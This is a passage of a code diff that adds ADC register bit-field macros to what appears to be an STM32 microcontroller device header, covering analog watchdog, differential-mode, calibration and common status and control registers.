ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << 